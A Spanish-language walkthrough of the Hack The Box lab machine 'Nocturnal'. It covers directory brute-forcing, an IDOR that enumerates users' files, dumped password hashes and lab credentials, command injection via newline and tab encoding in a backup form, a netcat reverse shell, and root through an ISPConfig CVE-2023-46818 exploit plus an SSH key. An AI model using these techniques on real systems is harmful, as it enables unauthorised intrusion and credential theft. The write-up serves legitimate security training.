Nocturnal expone un sitio web para administar archivos donde realizamos la enumeracion de usuarios y archivos. Entre estos encontramos una contrasena que nos dio acceso al dashboard de administracion. Logramos acceder a la maquina mediante el backup del sitio y Command Injection en la creacion de un backup. Finalmente escalamos privilegios tras explotar una vulnerabilidad en ISPConfig.
Segun la descripcion del sitio, es un tipo de servicio de alojamiento de archivos.
Los dos enlaces muestran un formulario de registro y uno de login.
Directory Brute Forcing
feroxbuster muestra una pagina de admin y dos directorios: backups y uploads. Se ejecuto feroxbuster sobre estos directorios especificando extensiones segun la descripcion del sitio pero no se encontro ningun archivo.
❯ feroxbuster -u http://nocturnal.htb/ -w $CM -x php
___ ___ __ __ __ __ __ ___
|__ |__ |__)|__)| / ` / \ \_/ ||\ |__
||___ |\ |\ |\__, \__/ / \ ||__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://nocturnal.htb/
🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirb/common.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true 💲 Extensions │ [php] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 7l 12w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 21l 45w 649c http://nocturnal.htb/register.php
200 GET 161l 327w 3105c http://nocturnal.htb/style.css
200 GET 21l 45w 644c http://nocturnal.htb/login.php
200 GET 29l 145w 1524c http://nocturnal.htb/
302 GET 0l 0w 0c http://nocturnal.htb/admin.php => login.php
301 GET 7l 12w 178c http://nocturnal.htb/backups => http://nocturnal.htb/backups/
302 GET 0l 0w 0c http://nocturnal.htb/dashboard.php => login.php
200 GET 29l 145w 1524c http://nocturnal.htb/index.php
302 GET 0l 0w 0c http://nocturnal.htb/logout.php => login.php
403 GET 7l 10w 162c http://nocturnal.htb/uploads
302 GET 123l 236w 2919c http://nocturnal.htb/view.php => login.php
❯ feroxbuster -u http://nocturnal.htb/backups/ -w $CM -x php,pdf,zip,docx,doc,cvs,xlsx
___ ___ __ __ __ __ __ ___
|__ |__ |__)|__)| / ` / \ \_/ ||\ |__
||___ |\ |\ |\__, \__/ / \ ||__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://nocturnal.htb/backups/
🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirb/common.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true 💲 Extensions │ [php, pdf, zip, docx, doc, cvs, xlsx] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 7l 12w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 7l 10w 162c http://nocturnal.htb/backups/
[####################] - 80s 36912/36912 0s found:1 errors:0 [####################] - 80s 36912/36912 459/s http://nocturnal.htb/backups/❯
❯ feroxbuster -u http://nocturnal.htb/uploads/ -w $CM -x php,pdf,zip,docx,doc,cvs,xlsx
___ ___ __ __ __ __ __ ___
|__ |__ |__)|__)| / ` / \ \_/ ||\ |__
||___ |\ |\ |\__, \__/ / \ ||__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://nocturnal.htb/uploads/
🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirb/common.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true 💲 Extensions │ [php, pdf, zip, docx, doc, cvs, xlsx] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 GET 7l 10w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 7l 12w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
[####################] - 2m 147648/147648 0s found:0 errors:0 [####################] - 81s 36912/36912 454/s http://nocturnal.htb/uploads/ [####################] - 81s 36912/36912 457/s http://nocturnal.htb/uploads/cgi-bin/ [####################] - 83s 36912/36912 444/s http://nocturnal.htb/uploads/cgi-bin/cgi-bin/ [####################] - 80s 36912/36912 460/s http://nocturnal.htb/uploads/cgi-bin/cgi-bin/cgi-bin/❯
Website
Realizamos el registro de un usuario. Tras autenticarnos este nos redirige hacia el dashboard donde se observa un formulario para subida de archivos.
Intentamos subir un archivo de texto pero este muestra un mensaje que indica los archivos que son aceptados.
Al cambiar a .pdf se muestra en el dashboard con un enlace que permite la descarga.
User Enum
El enlace muestra el usuario y archivo a descargar, al realizar el cambio a un usuario diferente este nos permite enumerar usuarios y archivos del sitio.
En la lista de archivos de amanda observamos privacy.odt.
Extrajimos el contenido del archivo con zip y realizamos la lectura de content.xml donde encontramos un mensaje para Amanda que indica una contrasena temporal para este usuario.
Dear Amanda,
Nocturnal has set the following temporary password for you: arHkG7HAI68X8s1J.
This password has been set for all our services, so it is essential that you change it on your first login to ensure the security of your account and our infrastructure.
The file has been created and provided by Nocturnal’s IT team.
If you have any questions or need additional assistance during the password change process, please do not hesitate to contact us.
Remember that maintaining the security of your credentials is paramount to protecting your information and that of the company.
We appreciate your prompt attention to this matter.
Yours sincerely,
Nocturnal’s IT team
Tras ingresar con las credenciales observamos un enlace al panel de administracion.
En este observamos una lista de archivos y un formulario que indica la creacion de backups con contrasena.
En el panel podemos realizar la lectura de los archivos listados, se observa el contenido de logout.php.
Tambien es posible crear un backup de estos archivos tras ingresar una contrasena.
User - Tobias via Backup DB
Tras generar y descargar un backup este nos muestra que la base de datos fue agregada.
//index.php
<?phpsession_start();if(isset($_SESSION['user_id'])){header('Location: dashboard.php');exit();}?><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Welcome to Nocturnal</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<div class="container">
<h1>Welcome to Nocturnal</h1>
<p>Please <a href="login.php">login</a> or <a href="register.php">register</a> to start uploading and viewing your files.</p>
<h2>Why Use Nocturnal?</h2>
<ul>
<li><strong>Seamless Uploads:</strong> Easily upload Word, Excel, and PDF documents with just a few clicks.</li>
<li><strong>Access Anytime, Anywhere:</strong> Access your files from any device, ensuring flexibility and convenience.</li>
<li><strong>User-Friendly Interface:</strong> Enjoy a simple and intuitive interface that makes file management effortless.</li>
<li><strong>Collaboration Features:</strong> Share your documents with others for easy collaboration and feedback.</li>
<li><strong>Regular Backups:</strong> Your files are backed up regularly, preventing loss and ensuring reliability.</li>
<li><strong>24/7 Support:</strong> Our dedicated support team is available around the clock to assist you with any issues.</li>
</ul>
<h2>Contact Us</h2>
<p>If you have any questions or need assistance, please reach out to us at <a href="mailto:support@nocturnal.htb">support@nocturnal.htb</a>.</p>
</div>
</body>
</html>
// view.php
<!DOCTYPEhtml><htmllang="en"><head><metacharset="UTF-8"><metaname="viewport"content="width=device-width, initial-scale=1.0"><title>ViewFile</title><style>[...]</style></head><body><divclass="container"><h1>FileViewer</h1><?phpsession_start();if(!isset($_SESSION['user_id'])){header('Location: login.php');exit();}$db=newSQLite3('nocturnal_database.db');$username=$_GET['username'];$file=basename($_GET['file']);$allowed_extensions=["pdf","doc","docx","xls","xlsx","odt"];$file_extension=pathinfo($file,PATHINFO_EXTENSION);if(!in_array($file_extension,$allowed_extensions)){echo"<div class='error'>Invalid file extension.</div>";exit();}$stmt=$db->prepare('SELECT id FROM users WHERE username = :username');$stmt->bindValue(':username',$username,SQLITE3_TEXT);$result=$stmt->execute();if($row=$result->fetchArray()){$user_id=$row['id'];$stmt=$db->prepare('SELECT * FROM uploads WHERE user_id = :user_id AND file_name = :file');$stmt->bindValue(':user_id',$user_id,SQLITE3_INTEGER);$stmt->bindValue(':file',$file,SQLITE3_TEXT);$result=$stmt->execute();if($row=$result->fetchArray()){$file_path='uploads/'.$file;if(file_exists($file_path)){header('Content-Type: application/octet-stream');header('Content-Disposition: attachment; filename="'.basename($file_path).'"');readfile($file_path);exit();}else{echo"<div class='error'>File not found on the server.</div>";showAvailableFiles($user_id,$db);}}else{echo"<div class='error'>File does not exist.</div>";showAvailableFiles($user_id,$db);}}else{echo"<div class='error'>User not found.</div>";}functionshowAvailableFiles($user_id,$db){$stmt=$db->prepare('SELECT file_name FROM uploads WHERE user_id = :user_id');$stmt->bindValue(':user_id',$user_id,SQLITE3_INTEGER);$result=$stmt->execute();echo"<h2>Available files for download:</h2>";echo"<ul>";while($row=$result->fetchArray()){$file_name=$row['file_name'];echo'<li><a href="view.php?username='.urlencode($_GET['username']).'&file='.urlencode($file_name).'">'.htmlspecialchars($file_name).'</a></li>';}echo"</ul>";}?></div>
</body>
</html>
Dentro de la base de datos sqlite se encontro la lista de usuarios con su respectivo hash de contrasena.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ sqlite3
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help"for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open nocturnal_database.db
sqlite> .tables
uploads users
sqlite> select * from users;1|admin|d725aeba143f575736b07e045d8ceebb
2|amanda|df8b20aa0c935023f99ea58358fb63c4
4|tobias|55c82b1ccd55ab219b3b109b07d5061d
6|sckull|ee11cbb19052e40b07aac0ca060c23ee
sqlite>
❯ ssh tobias@nocturnal.htb # slowmotionapocalypsetobias@nocturnal.htb's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-212-generic x86_64) * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun 13 Apr 2025 03:35:29 AM UTC
System load: 0.06
Usage of /: 56.1% of 5.58GB
Memory usage: 15%
Swap usage: 0%
Processes: 235 Users logged in: 0 IPv4 address for eth0: 10.10.11.64
IPv6 address for eth0: dead:beef::250:56ff:feb9:b6de
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Apr 13 03:35:30 2025 from 10.10.14.105
tobias@nocturnal:~$ whoami;id
tobias
uid=1000(tobias)gid=1000(tobias)groups=1000(tobias)tobias@nocturnal:~$ ls
user.txt
tobias@nocturnal:~$ cat user.txt
f198703f852b16f427b4831f1076212f
tobias@nocturnal:~$
Tobias via Command Injection
En admin.php encontramos que existe una vulnerabilidad que nos permite inyectar comandos en la maquina, se observa que la funcion cleanEntry() filtra a la contrasena que es utilizada en el comando que se construye y ejecuta. Sin embargo este unicamente verifica caracteres, en el caso de que ingresemos saltos de linea o tabulaciones es posible inyectar comandos.
Ingresamos salto de linea despues de la contrasena seguido de nuestro comando a ejecutar, para espacios utilizamos tabulaciones.
1
2
%0A -> \n%09 -> \t
Construimos un comando para realizar una solicitud con curl a google.com. Se muestra una representacion del comando al ejecutarse la creacion del backup con zip.
❯ rlwrap nc -lvp 1338listening on [any]1338 ...
connect to [10.10.14.105] from nocturnal.htb [10.10.11.64]38900/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ pwd/var/www/nocturnal.htb
$ ls
admin.php
backups
dashboard.php
file.sh
index.php
login.php
logout.php
nocturnal_database.db
register.php
style.css
uploads
view.php
$
Privesc
En la maquina encontramos varios puertos a la escucha localmente, nos llama la atencion el puerto 8080.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
tobias@nocturnal:~$ netstat -ntpl
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)Active Internet connections (only servers)Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 00 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 00 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 00 127.0.0.1:587 0.0.0.0:* LISTEN -
tcp 00 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 00 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 00 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 00 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 00 127.0.0.1:25 0.0.0.0:* LISTEN -
tcp6 00 :::22 :::* LISTEN -
tobias@nocturnal:~$
Port Forwarding
Realizamos Port Forwarding por SSH al puerto 8080.
1
ssh tobias@nocturnal.htb -L 8081:127.0.0.1:8080
Al visitar este puerto nos muestra el login de ISPConfig.
Logramos ingresar con el usuario admin y la contrasena de Tobias.
1
admin : slowmotionapocalypse
CVE-2023-46818
Encontramos que la version es ISPConfig 3.2.10p1, tras realizar una busqueda de vulnerabilidades encontramos que es afectada por Code Injection (CVE-2023-46818) en la edicion del idioma de la plataforma.
Ejecutamos un exploit para esta vulnerabilidad: CVE-2023-46818 exploit. Vemos que se ejecuta como root y realizamos la lectura de la flag root.txt.
tobias@nocturnal:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/tobias/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/tobias/.ssh/id_rsa
Your public key has been saved in /home/tobias/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:UrcrYbYpOJ5ePPrmVhUVVScAAdC+sI/ZDf3UIK31doc tobias@nocturnal
The key's randomart image is:
+---[RSA 3072]----+
| .o..o+++o.o|| . . ..|| .. .o || ....o.+ || .oS+.+ + . || o.+++o.. E o||o=*+o.o . ..|| . ==oo.. . || .==o |+----[SHA256]-----+
tobias@nocturnal:~$
Agregamos la clave publica al archivo authorized_keys de root.
Accedimos como root localmente, logrando obtener una shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
tobias@nocturnal:~$ ssh root@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:zJyY0Wtv84Ba2PGoI5oYy3bZFR62HOeElLX8ebtuk4A.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost'(ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-212-generic x86_64)[... snip ...]root@nocturnal:~# whoami;id;pwdroot
uid=0(root)gid=0(root)groups=0(root)/root
root@nocturnal:~# cat root.txt
364f9b9886b0ac2d95f14452db473eb1
root@nocturnal:~#
